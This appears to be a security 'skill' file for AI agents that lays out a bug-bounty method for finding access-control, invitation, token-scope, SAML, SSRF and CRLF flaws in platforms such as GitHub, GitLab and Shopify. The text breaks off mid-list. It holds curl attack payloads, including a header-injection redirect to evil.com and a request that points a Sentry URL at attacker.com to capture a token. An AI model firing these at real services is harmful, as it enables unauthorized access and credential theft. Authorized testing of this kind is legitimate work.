hunt-misc – Security skill for AI agents

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

Crown Jewel Targets

Why this vuln class pays:

MISC vulnerabilities span access control failures, information disclosure, session/auth logic bugs, and misconfiguration — the categories that consistently produce the highest payouts because they map directly to business impact: data exposure, account takeover, privilege escalation, and infrastructure compromise.

Highest-value targets:

• SaaS platforms with role hierarchies (Shopify, GitHub, GitLab) — any boundary between owner/admin/staff/guest is a privilege escalation surface
• Identity/auth flows — invitation links, password reset, SAML SSO, OAuth token scopes
• Multi-tenant systems — one tenant touching another tenant's data
• Internal APIs — LFS endpoints, pre-receive hooks, internal GraphQL/REST that assume caller is trusted
• Domain/DNS management features — transfer controls, subdomain delegation
• Token/credential management — PAT scopes, deploy keys, API tokens stored in config fields

Asset types that pay most:

• Core product APIs (not marketing subdomains)
• Enterprise/self-hosted editions (GitHub Enterprise, GitLab EE)
• Partner/collaborator invitation systems
• OAuth app integrations and webhook endpoints

---

Attack Surface Signals

URL patterns to watch:

/admin/*/transfer
/invitations/*
/partners/*/accept
/api/v*/repos/*/lfs/*
/-/settings/integrations/sentry
/api/v*/user/installations
/hooks/pre-receive/*
/reset-password?token=
/auth/saml/callback
/api/v*/packages/pypi/*

Response header signals:

X-Request-Id (pitchfork/Rack — check for header injection)
X-Shopify-Shop-Api-Call-Limit
X-GitLab-*

JS patterns revealing internal surfaces:

// Look for hardcoded internal API paths
fetch('/internal/api/
graphql { installations(
"scope": [], // empty scopes on tokens
"permissions": {"contents": "read"} // minimal scope PATs

Tech stack signals:

• Ruby/Rack middleware (CRLF injection risk in pitchfork)
• SAML SSO enabled on enterprise instances
• PyPI proxy/mirror configurations (dependency confusion)
• Sentry error tracking integration fields (SSRF/token leak vector)
• Multi-role invitation systems (partners, staff, collaborators)

---

Step-by-Step Hunting Methodology

1. Map all role/permission boundaries — enumerate every role level (owner → admin → staff → guest → removed) and document what each role *should* see

Marker Discipline: when probing role boundaries by injecting unique tokens / identifiers into per-role test data, markers should be unique per bounded test, and safe for the receiving parser; no universal eight-character/random-word rule establishes proof. Bad markers: test, marker, attacker, evil, admin, AAAA. Good markers: cpmark987abc, x4hd2k9pq. Before claiming any reflection, search the baseline (no-marker) response for the marker — if it appears naturally, change your marker.

Body-Diff Rule: a privilege-bypass claim requires unauthorized data or state evidence; response body/status differences alone are insufficient. Identical bodies may still accompany a state-changing write; inspect controlled before/after state without assuming success. Always diff bodies side-by-side before claiming bypass. Status-code-only claims are the most common rejected-as-N/A category on bug-bounty platforms.

2. Test invitation flows end-to-end — accept invitations without completing verification steps; modify invitation tokens; test whether accepting an invitation as a different user grants access

3. Test post-removal access — add a user to a resource, remove them, then test if their session/token still grants access (especially after company/org removal)

4. Fuzz token scope enforcement — create PATs/tokens with minimal or no scopes, then call API endpoints that *should* require elevated scopes

5. Test cross-tenant resource access — as Tenant A, attempt to read/write Tenant B's resources by manipulating IDs, paths, or headers

6. Probe internal/undocumented API endpoints — look for LFS endpoints, internal GraphQL operations, pre-receive hook environments, webhook delivery logs

7. Check SAML/SSO logic — test signature verification bypass by stripping signatures, modifying NameID, replaying assertions, or manipulating XML namespace

8. Audit configuration fields for SSRF/token exfiltration — any URL field in admin settings (Sentry DSN, webhook URL, proxy URL) is a potential SSRF or credential leak

9. Test password reset and email verification flows — skip email verification steps; test whether reset tokens are scoped to a single user; test token reuse

10. Check HTTP header injection points — any user-controlled input passed into response headers via Ruby/Rack middleware; test CRLF sequences

11. Verify DNS/subdomain hygiene — enumerate subdomains, check for dangling CNAME records, verify SPF/DMARC/DKIM records

12. Test package registry proxy configurations — look for dependency confusion via forwarded requests to public registries (PyPI, npm, RubyGems)

---

Payload & Detection Patterns

CRLF/Header Injection (Ruby Net::HTTP, Rack/pitchfork):

# Test CRLF in header values
curl -v "https://target.com/path" \
  -H $'X-Custom: value\r\nInjected-Header: evil'

# URL-encoded variant
curl -v "https://target.com/redirect?url=https://evil.com%0d%0aSet-Cookie:%20session=attacker"

# Test in pitchfork/Rack apps — inject via query param reflected in Location header
curl -v "https://shop.myshopify.com/login?return_to=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>"

Privilege escalation via invitation bypass:

# Accept invitation without email verification
curl -X POST "https://target.com/invitations/INVITE_TOKEN/accept" \
  -H "Cookie: session=UNVERIFIED_SESSION" \
  -d '{"role":"admin"}'

# Test invitation token for another user
curl -X GET "https://target.com/partners/PARTNER_ID/invitation/accept?token=CONTROLLED_TEST_TOKEN" \
  -H "Cookie: session=CONTROLLED_TEST_SESSION"

Token scope bypass (GitHub/GitLab PAT):

# Call privileged endpoint with minimal-scope token
curl -H "Authorization: token ghp_MINIMAL_SCOPE_TOKEN" \
  "https://api.github.com/repos/org/private-repo/issues"

# Test suspended installation access
curl -H "Authorization: Bearer USER_TO_SERVER_TOKEN" \
  "https://api.github.com/app/installations/SUSPENDED_INSTALL_ID"

SSRF via config URL fields (Sentry integration):

# Change Sentry URL to internal listener
curl -X PUT "https://gitlab.com/api/v4/projects/PROJECT_ID/services/sentry" \
  -H "PRIVATE-TOKEN: MAINTAINER_TOKEN" \
  -d '{"api_url": "https://attacker.com/capture", "auth_token": "sentry_token"}'

ReDoS detection:

# Test Ruby URI parser
ruby -e 'require "uri"; URI.parse("http://a.com?" + "a"*5000 + "##")'

# Test IPAddr
ruby -e 'require "ipaddr"; IPAddr.new("0." * 1000 + "0")'

# Timing-based detection
time curl "https://target.com/search?q=aaaa" # baseline
time curl "https://target.com/search?q=$(python3 -c 'print("a"*5000 + "##")')"

Grep patterns for source recon:

# Find SAML signature verification
grep -r "validate_signature\|verify_signature\|skip.*signature" --include="*.rb"

# Find hardcoded or weak scope checks
grep -r "without_scope\|any_scope\|scope.*bypass" --include="*.rb"

# Find invitation acceptance without verification
grep -r "accept.*invitation\|invitation.*accept" --include="*.rb" | grep -v "verified\|confirmed"

# Find internal API routes
grep -r "internal_api\|/_internal/\|/internal/" --include="*.rb" --include="*.js"

Dangling subdomain / DNS check:

# Check for obsolete DNS records
dig CNAME authorized-host.example
curl -sS --max-time 10 -I https://authorized-host.example | head -5
# Look for NXDOMAIN or 404 on hosting provider = takeover candidate

# SPF check
dig TXT authorized-domain.example | grep spf
# SPF alone, including ~all, does not prove spoofing; evaluate authorized sending, DKIM and DMARC alignment.

---

Common Root Causes

1. **Soft deletes without permission invalidatio

… (full content is in the download package)